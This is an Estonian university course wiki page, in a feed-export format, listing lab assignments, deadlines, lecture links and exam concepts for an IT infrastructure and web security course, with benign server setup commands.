* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88671</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88671"/>
		<updated>2015-05-20T05:58:55Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[iodine]]&lt;br /&gt;
&lt;br /&gt;
[[fabric]]&lt;br /&gt;
&lt;br /&gt;
[[mpstat]]&lt;br /&gt;
&lt;br /&gt;
[[arpwatch]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[ss]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[glances]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
